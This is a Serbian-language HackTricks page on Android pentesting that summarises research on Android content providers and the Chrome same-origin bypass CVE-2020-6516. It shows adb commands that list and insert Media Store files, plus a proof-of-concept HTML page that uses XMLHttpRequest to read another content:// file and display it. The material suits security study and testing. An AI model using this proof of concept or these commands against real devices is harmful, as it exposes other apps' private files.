hacktricks/mobile-pentesting/android-app-pentesting/content-protocol.md

6 KiB

{% hint style="success" %} Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks
{% endhint %}

{% embed url="https://websec.nl/" %}

Ovo je sažetak posta https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

Listing Files in Media Store

Da biste naveli datoteke kojima upravlja Media Store, može se koristiti sledeća komanda:

$ content query --uri content://media/external/file

Za ljudima prijatniji izlaz, prikazujući samo identifikator i putanju svake indeksirane datoteke:

$ content query --uri content://media/external/file --projection _id,_data

Sadržajni provajderi su izolovani u svom privatnom imenskom prostoru. Pristup provajderu zahteva specifičan content:// URI. Informacije o putanjama za pristup provajderu mogu se dobiti iz manifestacija aplikacija ili iz izvornog koda Android okvira.

Chromeov pristup sadržajnim provajderima

Chrome na Androidu može pristupiti sadržajnim provajderima putem content:// sheme, što mu omogućava pristup resursima kao što su fotografije ili dokumenti koje su izvezle aplikacije trećih strana. Da ilustrujemo ovo, datoteka se može umetnuti u Media Store i zatim pristupiti putem Chrome-a:

Umetnite prilagođeni unos u Media Store:

cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

Otkrijte identifikator novoinsertovanog fajla:

content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

Datoteku zatim možete pregledati u Chrome-u koristeći URL konstruisan sa identifikatorom datoteke.

Na primer, da biste naveli datoteke povezane sa određenom aplikacijom:

content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516: Bypass politike iste domene

Politika iste domene (SOP) je bezbednosni protokol u pregledačima koji ograničava web stranice da komuniciraju sa resursima iz različitih domena osim ako to nije izričito dozvoljeno politikom deljenja resursa između domena (CORS). Ova politika ima za cilj da spreči curenje informacija i lažne zahteve između sajtova. Chrome smatra content:// kao lokalnu shemu, što podrazumeva strože SOP pravila, gde se svaka lokalna shema URL tretira kao posebna domena.

Međutim, CVE-2020-6516 je bila ranjivost u Chrome-u koja je omogućila zaobilaženje SOP pravila za resurse učitane putem content:// URL-a. U suštini, JavaScript kod sa content:// URL-a mogao je da pristupi drugim resursima učitanim putem content:// URL-a, što je predstavljalo značajnu bezbednosnu zabrinutost, posebno na Android uređajima koji koriste verzije starije od Android 10, gde nije implementirano ograničeno skladištenje.

Dokaz koncepta u nastavku prikazuje ovu ranjivost, gde HTML dokument, nakon što je otpremljen pod /sdcard i dodat u Media Store, koristi XMLHttpRequest u svom JavaScript-u da pristupi i prikaže sadržaj druge datoteke u Media Store-u, zaobilazeći SOP pravila.

Dokaz koncepta HTML:

<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>

{% embed url="https://websec.nl/" %}

{% hint style="success" %} Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks
{% endhint %}